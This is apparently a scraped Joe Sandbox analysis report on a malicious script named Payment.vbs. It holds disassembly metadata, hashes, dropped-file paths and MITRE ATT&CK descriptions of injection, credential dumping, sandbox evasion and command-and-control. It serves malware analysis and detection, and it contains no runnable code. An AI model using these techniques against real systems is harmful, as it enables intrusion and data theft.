Function 036BF5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON

Download Yara Rule

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 037002E7
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 037002BD
RTL: Re-Waiting, xrefs: 0370031E

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID:
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
API String ID: 0-2474120054
Opcode ID: aeec7866b1d0b2878f1afa3a69d7720a38b049859cee0374f9720f2330ad6a8d
Instruction ID: 86777e5a4faa0121a46935ec842a386530ebcd82577ed8cfba62e8deb9a8dd3b
Opcode Fuzzy Hash: aeec7866b1d0b2878f1afa3a69d7720a38b049859cee0374f9720f2330ad6a8d
Instruction Fuzzy Hash: 28E1BB34608741DFD725CF28C984BAAB7F0BB89324F184A6DE4A58B3E1D774D885CB42

Function 036CBED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON

Download Yara Rule

Strings

RTL: Resource at %p, xrefs: 03707B8E
RTL: Re-Waiting, xrefs: 03707BAC
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 03707B7F

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID:
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 0-871070163
Opcode ID: e1eac3330bc1ec7571a38ef5009439c6dde8ed35cc279e01e5553d06065e37cc
Instruction ID: 31f5380602fc607626c87b18e00de88e983e4c5825d89eed85e1f3d90955ab2f
Opcode Fuzzy Hash: e1eac3330bc1ec7571a38ef5009439c6dde8ed35cc279e01e5553d06065e37cc
Instruction Fuzzy Hash: 0241D2357107829FC724DE29C942B6AB7E5EF88710F140A2DF86ADB780DB71E8058F91

Function 036CB4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0370728C

Strings

RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 03707294
RTL: Resource at %p, xrefs: 037072A3
RTL: Re-Waiting, xrefs: 037072C1

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-605551621
Opcode ID: 3b7c769ae46c19c4ef7114e480b26ce6f12a57729ee67e56e0d47fd7b29ed01d
Instruction ID: 89859468eee04a7e36ffa665ac4c7a4a2a4ca04fa9eef5fac72251386a43a0e6
Opcode Fuzzy Hash: 3b7c769ae46c19c4ef7114e480b26ce6f12a57729ee67e56e0d47fd7b29ed01d
Instruction Fuzzy Hash: 0241FF36704296ABC724DE24CC42B6AB7E5FF84714F18461DF855AB280DB30F8128BE1

Function 036D7D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 036D7E8B

Strings

-, xrefs: 036D7DDD
+, xrefs: 036D7DE8

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-
API String ID: 1302938615-2137968064
Opcode ID: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
Instruction ID: 7011d1de1ec7e4995dc5989f3bd5ce4ab9e3f55aaa8fb6c2e0be19a63a4ab7fe
Opcode Fuzzy Hash: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
Instruction Fuzzy Hash: 4E91A170E0021A9BDF34DE69DA81ABEF7A5EF44320F58451AE865EB3C4D7309941CB62

Function 03699126 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON

Download Yara Rule

Strings

@, xrefs: 03699175
$, xrefs: 03699191

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID:
String ID: $$@
API String ID: 0-1194432280
Opcode ID: 7c3a4539fee0bf733e56f7510e98709823ca65c91baa05484b74e9bd3cc3a342
Instruction ID: b546458673df7a347a3cdf1103439ce36e6972afa7dc8c27e1af0a088c671571
Opcode Fuzzy Hash: 7c3a4539fee0bf733e56f7510e98709823ca65c91baa05484b74e9bd3cc3a342
Instruction Fuzzy Hash: C8811A75D002699BDB31DB54CD54BEEBBB8AB08710F0445EAEA19B7240D7309E85CFA4

Function 0371CEA0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 134COMMON

Download Yara Rule

APIs

@_EH4_CallFilterFunc@8.LIBCMT ref: 0371CFBD

Strings

@4Cw@4Cw, xrefs: 0371CFD5, 0371CFDA, 0371CFF1
@, xrefs: 0371CF0A

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: CallFilterFunc@8
String ID: @$@4Cw@4Cw
API String ID: 4062629308-3101775584
Opcode ID: b6f2b401276a7941824d99a47c5563e127fd5ce983d0286448a0418a645664d0
Instruction ID: 63b3d8e10704c7b350ca759f9dbf7fbdf4471262896cb6a8997acdd19081abc7
Opcode Fuzzy Hash: b6f2b401276a7941824d99a47c5563e127fd5ce983d0286448a0418a645664d0
Instruction Fuzzy Hash: 3D418ABA940618DFDB21EFA9C840ABEBBB8EF45B00F14452EE915DF254D734C811CB64

Analysis Process: mNqSPruzCXM.exePID: 3196, Parent PID: 5292COMMON

Execution Graph

Execution Coverage:	2.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 04A3CE45 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

closesocket.WS2_32(?), ref: 04A3CE7A

Memory Dump Source

Source File: 00000018.00000002.3538540839.00000000049D0000.00000040.80000000.00040000.00000000.sdmp, Offset: 049D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_49d0000_mNqSPruzCXM.jbxd

Yara matches

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: 6d34966dee34e0e1f72a70490c6b2f0f446f11183e51b612453951977d1e9b97
Instruction ID: 2d711fce2c8d1eabd2e3274f8fc53c3223cccb38826d3c066d8fa9c805dedeec
Opcode Fuzzy Hash: 6d34966dee34e0e1f72a70490c6b2f0f446f11183e51b612453951977d1e9b97
Instruction Fuzzy Hash: 9DE08C32600204BBD620EB5ADD00CEBB7ADEFC9724B008029FA09A7200DA70BA0187F0

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Payment.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\62v53-Zo

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aftf20og.0ld.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fgk4fqwi.x4e.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ihmp413g.tpm.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p0qqsuzb.sho.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qlxdkgty.khd.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vn4cy3k0.ih1.psm1

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Static File Info

General

Windows Analysis Report
Payment.vbs

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre